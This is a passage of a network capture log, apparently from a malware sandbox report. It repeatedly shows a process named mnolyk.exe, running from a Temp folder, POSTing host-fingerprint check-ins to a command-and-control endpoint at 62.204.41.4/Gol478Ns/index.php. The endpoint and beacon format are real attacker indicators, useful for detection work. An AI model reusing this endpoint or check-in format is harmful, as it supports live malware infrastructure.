Feb 7, 2023 23:07:07.624988079 CET	129	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:07.686675072 CET	129	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.7	49945	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:08.700274944 CET	365	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:08.764461040 CET	365	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.7	49946	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:08.944668055 CET	366	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:09.008547068 CET	366	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.7	49947	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:09.176994085 CET	367	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:09.240406036 CET	367	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.7	49948	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:09.418494940 CET	368	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:09.483279943 CET	368	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.7	49949	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:09.663717985 CET	369	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:09.727545977 CET	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.7	49950	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:09.942678928 CET	370	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:10.006781101 CET	370	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.7	49951	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:10.180583954 CET	371	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:10.243530989 CET	371	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.7	49952	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:10.427882910 CET	372	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:10.490973949 CET	372	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.7	49953	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:10.664702892 CET	373	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:10.728537083 CET	373	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.7	49954	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:10.899375916 CET	374	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:10.962054968 CET	374	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.7	49720	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:07.869854927 CET	130	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:07.934511900 CET	130	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.7	49955	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:11.133835077 CET	375	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:11.200885057 CET	375	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.7	49956	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:11.390676975 CET	376	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:11.454973936 CET	376	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.7	49957	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:11.632559061 CET	377	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:11.696100950 CET	377	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.7	49958	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:11.883806944 CET	378	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:11.950310946 CET	378	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.7	49959	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:12.184454918 CET	379	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:12.247689962 CET	379	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.7	49960	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:12.428216934 CET	380	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:12.492048979 CET	380	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.7	49961	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:12.685374975 CET	381	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:12.749408007 CET	381	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.7	49962	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:12.926371098 CET	382	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:12.989113092 CET	382	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.7	49963	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:13.161472082 CET	383	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:13.224231958 CET	383	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.7	49964	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:13.400471926 CET	384	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
